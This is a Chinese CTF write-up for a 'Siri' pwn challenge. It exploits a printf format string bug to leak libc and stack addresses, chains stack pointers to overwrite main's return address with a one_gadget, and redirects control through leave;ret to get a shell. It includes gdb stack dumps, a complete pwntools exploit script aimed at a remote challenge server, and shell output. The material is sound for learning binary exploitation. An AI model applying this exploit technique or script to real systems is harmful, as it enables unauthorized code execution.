题目检查
checksec检查,保护全开。ida看下函数功能,发现sub_1212函数有格式化字符串漏洞:
__int64 __fastcall sub_1212(const char *a1)
{
char *v2; // [rsp+18h] [rbp-128h]
char s[280]; // [rsp+20h] [rbp-120h] BYREF
unsigned __int64 v4; // [rsp+138h] [rbp-8h]
v4 = __readfsqword(0x28u);
v2 = strstr(a1, "Remind me to ");
if ( !v2 )
return 0LL;
memset(s, 0, 0x110uLL);
sprintf(s, ">>> OK, I'll remind you to %s", v2 + 13);
printf(s);
puts(&::s);
return 1LL;
}
main函数:
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s1[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+108h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(s1, 0, 0x100uLL);
s1[256] = 0;
sub_11C5();
printf(">>> ");
while ( read(0, s1, 0x100uLL) )
{
if ( !strncmp(s1, "Hey Siri!", 9uLL) )
{
puts(">>> What Can I do for you?");
printf(">>> ");
read(0, s1, 0x100uLL);
if ( !(unsigned int)sub_1326(s1) && !(unsigned int)sub_12E4(s1) && !(unsigned int)sub_1212(s1) )
puts(">>> Sorry, I can't understand.");
}
memset(s1, 0, 0x100uLL);
printf(">>> ");
}
return 0LL;
}
思路
一直在循环,挑不出main函数,这里可以根据格式化字符串的长度没有很严格的限制0x100,可以泄露libc基址和rbp地址,通过找适合的二级指针,修改目的地址为one_gadget,再修改sub_1212函数的返回值为main函数的leave ret,从而跳出循环,在main函数leave ret的时候,就执行到了我们构造好的onegadget,从而拿到shell。
调试
gdb调试到漏洞函数sub_1212的printf处,查看栈,寻找适合的二级指针和格式化字符串偏移:
0248| 0x7ffe6e9eb9c8 --> 0x0
0256| 0x7ffe6e9eb9d0 --> 0x7ffe6e9eba00 --> 0x1769f9ca0
0264| 0x7ffe6e9eb9d8 --> 0x1936bd5c5fb05900
0272| 0x7ffe6e9eb9e0 --> 0x55b1510504d0 (push r15)
0280| 0x7ffe6e9eb9e8 --> 0x7f427642a840 (<__libc_start_main+240>: mov edi,eax) <------ leak libc
0288| 0x7ffe6e9eb9f0 --> 0x1
0296| 0x7ffe6e9eb9f8 --> 0x7ffe6e9ebac8 --> 0x7ffe6e9ec1a7 ("./main.bak") <------- point1
0304| 0x7ffe6e9eba00 --> 0x1769f9ca0
0312| 0x7ffe6e9eba08 --> 0x55b151050368 (push rbp)
0320| 0x7ffe6e9eba10 --> 0x0
0328| 0x7ffe6e9eba18 --> 0x2ccd0cfa58d2267e
0336| 0x7ffe6e9eba20 --> 0x55b1510500e0 (xor ebp,ebp)
0344| 0x7ffe6e9eba28 --> 0x7ffe6e9ebac0 --> 0x1
0352| 0x7ffe6e9eba30 --> 0x0
0360| 0x7ffe6e9eba38 --> 0x0
0368| 0x7ffe6e9eba40 --> 0x785373cd2292267e
0376| 0x7ffe6e9eba48 --> 0x792b42751e82267e
0384| 0x7ffe6e9eba50 --> 0x0
0392| 0x7ffe6e9eba58 --> 0x0
--More--(50/120)
0400| 0x7ffe6e9eba60 --> 0x0
0408| 0x7ffe6e9eba68 --> 0x7ffe6e9ebad8 --> 0x7ffe6e9ec1b2 ("QT_QPA_PLATFORMTHEME=appmenu-qt5")
0416| 0x7ffe6e9eba70 --> 0x7f42769fb168 --> 0x55b15104f000 --> 0x10102464c457f
0424| 0x7ffe6e9eba78 --> 0x7f42767e480b (<_dl_init+139>: jmp 0x7f42767e47e0 <_dl_init+96>)
0432| 0x7ffe6e9eba80 --> 0x0
0440| 0x7ffe6e9eba88 --> 0x0
0448| 0x7ffe6e9eba90 --> 0x55b1510500e0 (xor ebp,ebp)
0456| 0x7ffe6e9eba98 --> 0x7ffe6e9ebac0 --> 0x1
0464| 0x7ffe6e9ebaa0 --> 0x0
0472| 0x7ffe6e9ebaa8 --> 0x55b15105010a (hlt)
0480| 0x7ffe6e9ebab0 --> 0x7ffe6e9ebab8 --> 0x1c
0488| 0x7ffe6e9ebab8 --> 0x1c
0496| 0x7ffe6e9ebac0 --> 0x1
0504| 0x7ffe6e9ebac8 --> 0x7ffe6e9ec1a7 ("./main.bak") <---------point2
0512| 0x7ffe6e9ebad0 --> 0x0
0520| 0x7ffe6e9ebad8 --> 0x7ffe6e9ec1b2 ("QT_QPA_PLATFORMTHEME=appmenu-qt5")
发现可以利用这两个指针,达到修改0x7f427642a840 (libc_start_main)为onegadget,为什么呢?因为libc_start_main是main函数返回的地址,我们将他改成onegadget后当main函数结束就会执行onegadget。如何修改呢?就要用上面的两个指针结合格式化字符串去修改(格式化字符串%n会向偏移的地址指向的内容处写,也就是下面**标记的地址,不能向¥¥之间写,它只能泄露),我们现在有两个指针(*号偏移85,¥偏移111),如下:
0616| $0x7ffccda42a28* --> 0x7fa11b2f0840 (<__libc_start_main+240>: mov edi,eax)
0624| 0x7ffccda42a30 --> 0x1
0632| 0x7ffccda42a38 --> 0x7ffccda42b08 --> **0x7ffccda441a7** ("./main.bak")
***
***
0840| 0x7ffccda42b08 --> ¥0x7ffccda441a7¥ ("./main.bak")
0848| 0x7ffccda42b10 --> 0x0
将** **的地址改成 $*之间的地址,这样就构造了三级链,继而下面的¥¥之间的变成了二级链,就可以实现对libc_start_main的修改了,如下:
0616| $0x7ffccda42a28$ --> 0x7fa11b2f0840 (<__libc_start_main+240>: mov edi,eax)
0624| 0x7ffccda42a30 --> 0x1
0632| 0x7ffccda42a38 --> 0x7ffccda42b08 --> $0x7ffccda42a28 --> 0x7fa11b2f0840 (<__libc_start_main+240>: mov edi,eax)
0640| 0x7ffccda42a40 --> 0x11b8bfca0
***
***
0840| 0x7ffccda42b08 --> $0x7ffccda42a28 --> **0x7fa11b2f0840** (<__libc_start_main+240>: mov edi,eax)
0848| 0x7ffccda42b10 --> 0x0
此时可以通过格式化字符串,向0x7ffccda42b08处修改** **内的地址为onegadget,即间接实现了对0616| 0x7ffccda42a28 --> 0x7fa11b2f0840 (<__libc_start_main+240>: mov edi,eax)
的修改,建议用%offest$hn
两字节修改,较容易成功。这里说一下修改原理,假设(onegadget为0x7ffccda4527a)%hn
修改地址的低两个字节内容,所以可以用%str(int('0x527a',16))%111$hn
对目标地址后两字节进行修改,关键是接下来的两字节怎么改?这里可以将0x7ffccda42a28+2(如果用hhn一个字节修改就+1)之后进行修改,可以查看内存:
gdb-peda$ x/16hx 0x7ffccda42a28
0x7ffccda42a28: $0x0840* 0x1b2f 0x7fa1 0x0000 0x0001 0x0000 0x0000 0x0000
0x7ffccda42a38: 0x2b08 0xcda4 0x7ffc 0x0000 0xfca0 0x1b8b 0x0001 0x0000
gdb-peda$ x/16hx 0x7ffccda42a2a
0x7ffccda42a2a: $0x1b2f* 0x7fa1 0x0000 0x0001 0x0000 0x0000 0x0000 0x2b08
0x7ffccda42a3a: 0xcda4 0x7ffc 0x0000 0xfca0 0x1b8b 0x0001 0x0000 0x4368
可以看到$*号处确实是我们要改的字节。就这样循环可以将地址全部修改,这里前面高地址相同,只需要修改后四个字节。修改好后:
0600| 0x7ffccda42a18 --> 0x56592fa2c159c100
0608| 0x7ffccda42a20 --> 0x5580fd3844d0 (push r15)
0616| 0x7ffccda42a28 --> $0x7ffccda4527a (<exec_comm+2263>: mov rax,QWORD PTR [rip+0x2d2caa] # 0x7fa11b693eb8)
0624| 0x7ffccda42a30 --> 0x1
修改好后相当于main函数返回地址已经被替换,接下来就是要劫持漏洞函数sub_1212的返回地址,改成main函数leav ret,之后就能到达我们构造好的onegadget了,栈如下:
0304| 0x7ffccda428f0 --> 0x0
0312| 0x7ffccda428f8 --> 0x56592fa2c159c100 <--canary
0320| 0x7ffccda42900 --> 0x7ffccda42a20 --> 0x5580fd3844d0 (push r15) <--rbp
0328| 0x7ffccda42908 --> $0x5580fd38444c* (test eax,eax) <--ret
0336| 0x7ffccda42910 ("Remind me to %10477s%85$hn\n")
0344| 0x7ffccda42918 ("e to %10477s%85$hn\n")
***
***
0592| 0x7ffccda42a10 --> 0x7ffccda42b00 --> 0x1
--More--(75/120)
0600| 0x7ffccda42a18 --> 0x56592fa2c159c100 <--main canary
0608| 0x7ffccda42a20 --> 0x5580fd3844d0 (push r15) <--main rbp
0616| 0x7ffccda42a28 --> 0x7ffccda4527a (<exec_comm+2263>: mov rax,QWORD PTR [rip+0x2d2caa]) <--main ret onegadget
0624| 0x7ffccda42a30 --> 0x1
0632| 0x7ffccda42a38 --> 0x7ffccda42b08 --> ¥0x7ffccda42908 --> 0x5580fd38444c (test eax,eax)
想修改$0x5580fd38444c*为leave ret ,还是利用那两个指针,将¥处改为rbp+8(即返回地址0x7ffccda42908),如上面¥处所示,然后再利用偏移为111的指针对0x5580fd38444c的低位进行修改,变成0x5580fd3844c1(main leave ret),进而达到间接修改ret的地址,如下:
0304| 0x7ffccda428f0 --> 0x0
0312| 0x7ffccda428f8 --> 0x56592fa2c159c100
0320| 0x7ffccda42900 --> 0x7ffccda42a20 --> 0x5580fd3844d0 (push r15)
0328| 0x7ffccda42908 --> $0x5580fd3844c1 (leave) <--ret已经修改
0336| 0x7ffccda42910 ("Remind me to %166s%111$hhn\n")
0344| 0x7ffccda42918 ("e to %166s%111$hhn\n")
0352| 0x7ffccda42920 ("6s%111$hhn\n")
0360| 0x7ffccda42928 --> 0xa6e68 ('hn\n')
***
0584| 0x7ffccda42a08 --> 0x0
0592| 0x7ffccda42a10 --> 0x7ffccda42b00 --> 0x1
--More--(75/120)
0600| 0x7ffccda42a18 --> 0x56592fa2c159c100
0608| 0x7ffccda42a20 --> 0x5580fd3844d0 (push r15)
0616| 0x7ffccda42a28 --> 0x7fa11b3c1207 (<exec_comm+2263>: mov rax,QWORD PTR [rip+0x2d2caa] # 0x7fa11b693eb8)
0624| 0x7ffccda42a30 --> 0x1
0632| 0x7ffccda42a38 --> 0x7ffccda42b08 --> 0x7ffccda42908 --> $0x5580fd3844c1 (leave) 第一个指针
0640| 0x7ffccda42a40 --> 0x11b8bfca0
***
0816| 0x7ffccda42af0 --> 0x7ffccda42af8 --> 0x1c
0824| 0x7ffccda42af8 --> 0x1c
0832| 0x7ffccda42b00 --> 0x1
0840| 0x7ffccda42b08 --> 0x7ffccda42908 --> $0x5580fd3844c1 (leave) 第二个指针
修改完后,当漏洞函数返回就会返回到main函数leave ret ,mian的leave ret只想完成后就可得到shell。
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x75 bytes:
'core\t main\tpeda-session-dash.txt\t siri1.py test.py\n'
'libc-2.27.so main.bak\tpeda-session-main.bak.txt siri.py\n'
core main peda-session-dash.txt siri1.py test.py
libc-2.27.so main.bak peda-session-main.bak.txt siri.py
$
做的时候注意onegadget使用条件是否满足。
gdb-peda$ x/16gx 0x7ffcc106c260+0x70
0x7ffcc106c2d0: 0x0000000000000000 0x00007ffcc106c348
0x7ffcc106c2e0: 0x00007fb4912ce168 0x00007fb4910b780b
0x7ffcc106c2f0: 0x0000000000000000 0x0000000000000000
可以看到满足rsp+0x70==null情况,有些不满足用不了,创造条件的方法还要留个坑,以后再补充。
脚本:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
context.log_level = 'debug'
pwn_name = "main.bak"
arch = '64'
version = '2.23'
ip, port = '123.56.170.202',12124
context.terminal = ['terminator','-x','sh','-c']
#context(os='linux', arch='i386')
if sys.argv[1]=="l":
p=process('./'+pwn_name)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
p=remote(ip,port)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
elf=ELF(pwn_name,checksec=False)
def get_one():
if(arch == '64'):
if(version == '2.23'):
one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
if (version == '2.27'):
#one = [0x4f2c5 , 0x4f322 , 0x10a38c]
one = [0x4f365 , 0x4f3c2 , 0x10a45c]
return one
def sym(func):
success('{} => {:#x}'.format(func , libc.sym[func]))
return libc.sym[func]
def info(con,leak):
success('{} => {:#x}'.format(con,leak))
def dbg(address=0):
if address==0:
gdb.attach(p)
pause()
else:
if address > 0xfffff:
script="b *{:#x}\nc\n".format(address)
else:
script="b *$rebase({:#x})\nc\n".format(address)
gdb.attach(p, script)
one = get_one()
#-------------stack----------------
p.sendlineafter(">>> ","Hey Siri!")
payload="Remind me to "+'%'+str(83)+'$p'+'%'+str(85)+'$p'
dbg()
p.sendlineafter("?\n>>> ",payload)
con=p.recv()
leak=int(con[29:41],16)
libc.address=leak- 240 - libc.sym['__libc_start_main'] #240需要调试
info("leak",leak)
info("libc",libc.address)
leak=int(con[43:55],16) #偏移为85的地址
main_addr=leak-0xe0
rbp_addr=leak-0x208 #需要调试
info("leak",leak)
info("main_addr",main_addr)
info("rbp_addr",rbp_addr)
info("onegadget:",libc.address+one[1])
p.sendline("Hey Siri!")
attack=(main_addr&0xffff)
info("attack",attack)
payload="Remind me to "+'%'+str(attack-27)+'s'+'%'+str(85)+'$hn'
p.sendlineafter("?\n>>> ",payload)
p.sendlineafter(">>> ","Hey Siri!")
attack=(libc.address+one[3]&0xffff)
info("attack",attack)
payload="Remind me to "+'%'+str(attack-27)+'s'+'%'+str(0x69+6)+'$hn'
p.sendlineafter("?\n>>> ",payload)
p.sendlineafter(">>> ","Hey Siri!")
attack=((main_addr+2)&0xffff)
info("attack",attack)
payload="Remind me to "+'%'+str(attack-27)+'s'+'%'+str(85)+'$hn' #27是前面已经输出了27字符
p.sendlineafter("?\n>>> ",payload)
p.sendlineafter(">>> ","Hey Siri!")
attack=(((libc.address+one[3])>>16)&0xff)
info("attack",attack)
payload="Remind me to "+'%'+str(attack-27)+'s'+'%'+str(0x69+6)+'$hhn'
p.sendlineafter("?\n>>> ",payload)
p.sendlineafter(">>> ","Hey Siri!")
attack=(rbp_addr+8&0xffff) #修改指向返回地址
info("attack",attack)
payload="Remind me to "+'%'+str(attack-27)+'s'+'%'+str(85)+'$hn'
#dbg()
p.sendlineafter("?\n>>> ",payload)
p.sendlineafter(">>> ","Hey Siri!")
#dbg(0x12B1)
attack=0xc1 #修改返回地址为main函数leave ret,c1需要调试确定位数
info("attack",attack)
payload="Remind me to "+'%'+str(attack-27)+'s'+'%'+str(0x69+6)+'$hhn'
p.sendlineafter("?\n>>> ",payload)
p.interactive()